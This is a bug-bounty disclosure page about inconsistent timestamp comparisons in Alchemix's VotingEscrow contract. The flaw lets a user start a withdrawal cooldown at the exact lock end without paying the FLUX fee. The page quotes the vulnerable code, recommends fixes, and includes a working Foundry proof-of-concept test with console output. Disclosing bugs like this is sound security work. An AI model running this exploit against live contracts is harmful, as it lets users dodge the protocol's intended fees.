Users could start cooldown period for their wit
Several boundary comparisons in the voting escrow and bribe contracts treat a lock as expired only when the timestamp is strictly greater than the lock end, while the cooldown start check uses a strict less-than. This lets a user begin the cooldown at the exact lock-end timestamp without burning any FLUX tokens, so they keep both their FLUX and their deposited tokens.
- Disclosed after under an hour
31588 - [SC - Low] Users could start cooldown period for their wit...
Submitted on May 21st 2024 at 15:18:40 UTC by @savi0ur for Boost | Alchemix
Report ID: #31588
Report type: Smart Contract
Report severity: Low
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Bug Description
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
// If the lock is expired, no flux is claimable at the current epoch
if (block.timestamp > locked[_tokenId].end) { //@audit
return 0;
}
// Amount of flux claimable is <fluxPerVeALCX> percent of the balance
return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
}
In claimableFlux function, block.timestamp > locked[_tokenId].end is used to check if lock is expired. According to this condition, lock is not expired till block.timestamp == locked[_tokenId].end.
But in other places of the code, same check is not there. As shown below. https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1156
function _calculatePoint(LockedBalance memory _locked, uint256 _time) internal pure returns (Point memory point) {
if (_locked.end > _time && _locked.amount > 0) { //@audit
point.slope = _locked.maxLockEnabled ? int256(0) : (int256(_locked.amount) * iMULTIPLIER) / iMAXTIME;
point.bias = _locked.maxLockEnabled
? ((int256(_locked.amount) * iMULTIPLIER) / iMAXTIME) * (int256(_locked.end - _time))
: (point.slope * (int256(_locked.end - _time)));
}
}
While calculating point and bias, its first checking if lock has not expired _locked.end > _time and _locked.amount > 0, then calculate Point. According to above check from claimableFlux function, it should be _locked.end >= _time.
function updateUnlockTime(uint256 _tokenId, uint256 _lockDuration, bool _maxLockEnabled) external nonreentrant {
// ..SNIP..
// If max lock is not enabled, require that the lock is not expired
if (!_locked.maxLockEnabled) require(_locked.end > block.timestamp, "Lock expired"); //@audit
// ..SNIP..
}
It should be if (!_locked.maxLockEnabled) require(_locked.end >= block.timestamp, "Lock expired");
function depositFor(uint256 _tokenId, uint256 _value) external nonreentrant {
// ..SNIP..
require(_locked.end > block.timestamp, "Cannot add to expired lock. Withdraw");
// ..SNIP..
}
It should be require(_locked.end >= block.timestamp, "Cannot add to expired lock. Withdraw");
function withdraw(uint256 _tokenId) public nonreentrant {
// ..SNIP..
require(block.timestamp >= _locked.cooldown, "Cooldown period in progress");
// ..SNIP..
}
For cooldown period check, it should not allow to withdraw when block.timestamp == _locked.cooldown, as cooldown has not expired yet when its equal. It should be require(block.timestamp > _locked.cooldown, "Cooldown period in progress");
function merge(uint256 _from, uint256 _to) external {
// ..SNIP..
require(_locked0.end > block.timestamp, "Cannot merge when lock expired");
require(_locked1.end > block.timestamp, "Cannot merge when lock expired");
It should be require(_lockedX.end >= block.timestamp, "Cannot merge when lock expired");.
function getPriorVotingIndex(uint256 timestamp) public view returns (uint256) {
// ..SNIP..
// Check most recent balance
if (votingCheckpoints[nCheckpoints - 1].timestamp < timestamp) {
return (nCheckpoints - 1);
}
It should be if (votingCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {. See getPriorBalanceIndex function.
function earned(address token, uint256 tokenId) public view returns (uint256) {
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint256 _startTimestamp = lastEarn[token][tokenId];
// Prevent earning twice within an epoch
if (block.timestamp - _bribeStart(_startTimestamp) < DURATION) {
return 0;
}
It should be if (block.timestamp - _bribeStart(_startTimestamp) <= DURATION) {.
function startCooldown(uint256 _tokenId) external {
// ..SNIP..
// If lock is not expired, cooldown can only be started by burning FLUX
if (block.timestamp < _locked.end) {
// ..SNIP..
}
emit CooldownStarted(msg.sender, _tokenId, _locked.cooldown);
}
It should be if (block.timestamp <= _locked.end) {.
Due to the above incorrect checks, user's could start cooldown period for their withdrawal without paying any FLUX tokens.
Impact
User's could start cooldown period for their withdrawal without paying any FLUX tokens. User will have both FLUX tokens and their BPT tokens at the end of EPOCH. Its not align with what the project requirement is, i.e, to charge rage quit fee in terms of FLUX tokens for withdrawing before lock ends.
This free FLUX tokens later can be use to boost their votes.
Recommendation
Implement correct checks as described above.
References
- https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol
- https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol
- https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Proof Of Concept
Steps to Run using Foundry:
- Paste following foundry code in
src/test/VotingEscrow.t.sol - Run using
FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testCooldownWithoutPayingFlux -vv
// Start cool down period without paying any flux tokens
function testCooldownWithoutPayingFlux() public {
hevm.startPrank(admin);
uint256 tokenId = veALCX.createLock(TOKEN_1, FIVE_WEEKS, false);
uint256 bptBalanceBefore = IERC20(bpt).balanceOf(admin);
uint256 fluxBalanceBefore = IERC20(flux).balanceOf(admin);
uint256 alcxBalanceBefore = IERC20(alcx).balanceOf(admin);
console.log("\nBefore:");
console.log("bpt balance:", bptBalanceBefore);
console.log("flux balance:", fluxBalanceBefore);
console.log("alcx balance:", alcxBalanceBefore);
hevm.expectRevert(abi.encodePacked("Cooldown period has not started"));
veALCX.withdraw(tokenId);
voter.reset(tokenId);
hevm.warp(newEpoch());
voter.distribute();
uint256 unclaimedAlcx = distributor.claimable(tokenId);
uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
console.log("unclaimedAlcx:", unclaimedAlcx);
console.log("unclaimedFlux", unclaimedFlux);
hevm.warp(veALCX.lockEnd(tokenId));
console.log("\nLock state:");
console.log("veALCX.lockEnd(tokenId):", veALCX.lockEnd(tokenId));
console.log("block.timestamp:", block.timestamp);
console.log("Lock Expired (veALCX.lockEnd(tokenId) < block.timestamp) ?: ", veALCX.lockEnd(tokenId) < block.timestamp);
// Start cooldown once lock is expired
veALCX.startCooldown(tokenId);
hevm.expectRevert(abi.encodePacked("Cooldown period in progress"));
veALCX.withdraw(tokenId);
hevm.warp(newEpoch());
veALCX.withdraw(tokenId);
uint256 bptBalanceAfter = IERC20(bpt).balanceOf(admin);
uint256 fluxBalanceAfter = IERC20(flux).balanceOf(admin);
uint256 alcxBalanceAfter = IERC20(alcx).balanceOf(admin);
console.log("\nAfter:");
console.log("bpt balance:", bptBalanceAfter);
console.log("flux balance:", fluxBalanceAfter);
console.log("alcx balance:", alcxBalanceAfter);
console.log("bpt diff:", bptBalanceAfter - bptBalanceBefore);
// Bpt balance after should increase by the withdraw amount
assertEq(bptBalanceAfter - bptBalanceBefore, TOKEN_1);
// ALCX and flux balance should increase
assertEq(alcxBalanceAfter, alcxBalanceBefore + unclaimedAlcx, "didn't claim alcx");
assertEq(fluxBalanceAfter, fluxBalanceBefore + unclaimedFlux, "didn't claim flux");
// Check that the token is burnt
assertEq(veALCX.balanceOfToken(tokenId), 0);
assertEq(veALCX.ownerOf(tokenId), address(0));
hevm.stopPrank();
}
Console Output:
> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testCooldownWithoutPayingFlux -vv
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testCooldownWithoutPayingFlux() (gas: 5837088)
Logs:
Before:
bpt balance: 99999999000000000000000000
flux balance: 0
alcx balance: 293395801110954330220661
unclaimedAlcx: 6139572462147626427072
unclaimedFlux 95889301115384577
Lock state:
veALCX.lockEnd(tokenId): 1685577600
block.timestamp: 1685577600
Lock Expired (veALCX.lockEnd(tokenId) < block.timestamp) ?: false
After:
bpt balance: 100000000000000000000000000
flux balance: 95889301115384577
alcx balance: 299535373573101956647733
bpt diff: 1000000000000000000
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely inconsistent boundary comparisons: the cooldown start uses a strict less-than against the lock end while other checks use strict greater-than, so the exact end timestamp falls through the fee branch.
Impact
A user could start the cooldown and later withdraw without paying the intended FLUX fee, keeping both the FLUX and the deposited tokens, which breaks the project's rage-quit fee design.
What the attacker needed
A locked position in the voting escrow; ability to call startCooldown at the exact lock end
The fix
The boundary comparisons should be corrected so the cooldown can only start before the lock end when FLUX is burned, and the other checks should use consistent inclusive comparisons.
How it was found
- Create a lock with a five-week duration.
- Advance time to the exact lock-end timestamp.
- Call startCooldown on the token.
- Advance to a new epoch and withdraw the tokens.
- Observe the deposited tokens and the FLUX rewards are both received.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract is a program on a blockchain that holds and moves tokens. This one lets people lock tokens for a period and charges a fee in a second token (FLUX) if they want to start withdrawing before the lock ends. Because two comparisons disagree about whether the lock has ended at the exact end second, a user can start the withdrawal process for free at that moment.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.